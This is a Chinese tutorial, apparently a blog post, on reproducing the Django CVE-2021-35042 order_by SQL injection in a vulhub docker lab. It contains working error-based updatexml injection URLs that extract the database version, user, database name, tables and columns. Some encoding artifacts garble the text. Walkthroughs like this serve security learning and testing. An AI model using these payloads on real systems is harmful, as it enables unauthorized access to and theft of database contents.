做网站有没有用,网站建设 付款方式,什么企业的网络营销策略好写,网络服务器的功能什么是 Django 框架
Django 是一个用 Python 编写的 Web 应用程序框架。它提供了许多工具和库#xff0c;使得开发 Web 应用程序变得更加容易和高效。Django 遵循了“MTV”#xff08;模型-模板-视图#xff09;的设计模式#xff0c;将应用程序的不同组件分离开来#x…什么是 Django 框架
Django 是一个用 Python 编写的 Web 应用程序框架。它提供了许多工具和库使得开发 Web 应用程序变得更加容易和高效。Django 遵循了“MTV”模型-模板-视图的设计模式将应用程序的不同组件分离开来使得开发人员可以更加专注于应用程序的不同方面。Django 组件存在 SQL 注入漏洞该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足攻击者可利用该漏洞在未授权的情况下构造恶意数据执行 SQL 注入攻击最终造成服务器敏感信息泄露。 目录
什么是 Django 框架
开启 漏洞 靶场
1查看目录
2启用 vulhub 漏洞
3进行浏览主机的 8000 端口.
进行 漏洞 测试
1寻找 URL 有输入点的地方就行
2构造报错注入进行攻击获取数据查询根目录信息
3构造报错注入进行攻击获取数据查询数据库版本信息
4构造报错注入进行攻击获取数据查当前用户
5构造报错注入进行攻击获取数据查当前数据库
6构造报错注入进行攻击获取数据查表
7构造报错注入进行攻击获取数据查字段 开启 漏洞 靶场
Web安全iwebsec || vulhub 靶场搭建.各种漏洞环境集合一键搭建漏洞测试靶场_iwebsec靶场-CSDN博客 1查看目录
1cd vulhub2ls
2启用 vulhub 漏洞
1cd django // 切换到对应的漏洞目录.2cd CVE-2021-35042 // 切换到对应的漏洞版本.3docker-compose build // 建立容器4docker-compose up -d // 启用漏洞环境.5docker ps // 查看环境运行状态
3进行浏览主机的 8000 端口. 进行 漏洞 测试
1怎么测试框架类型.浏览器安装插件检测 Wappalyzer 2寻找 URL 有输入点的地方就行
例如http://172.16.10.19:8000//vuln/?order后面就是写SQL语句的查询. 3构造报错注入进行攻击获取数据查询根目录信息
/vuln/?ordervuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20basedir)),1)%234构造报错注入进行攻击获取数据查询数据库版本信息
/vuln/?ordervuln_collection.name);select updatexml(1, concat(0x7e,(select version)),1)%23 5构造报错注入进行攻击获取数据查当前用户
http://172.16.10.19:8000/vuln/?ordervuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20user%28%29%29%29,1%29%23 6构造报错注入进行攻击获取数据查当前数据库
http://172.16.10.19:8000/vuln/?ordervuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20database%28%29%29%29,1%29%23 7构造报错注入进行攻击获取数据查表
http://172.16.10.19:8000/vuln/?ordervuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20group_concat%28table_name%29%20from%20information_schema.tables%20where%20table_schemadatabase%28%29%29%29,1%29%23 8构造报错注入进行攻击获取数据查字段
http://172.16.10.19:8000/vuln/?ordervuln_collection.name%29;select%20updatexml%281,concat%280x5c,%28select%20column_name%20from%20information_schema.columns%20where%20table_name%27users%27%20limit%200,1%29,0x5c%29,1%29%23
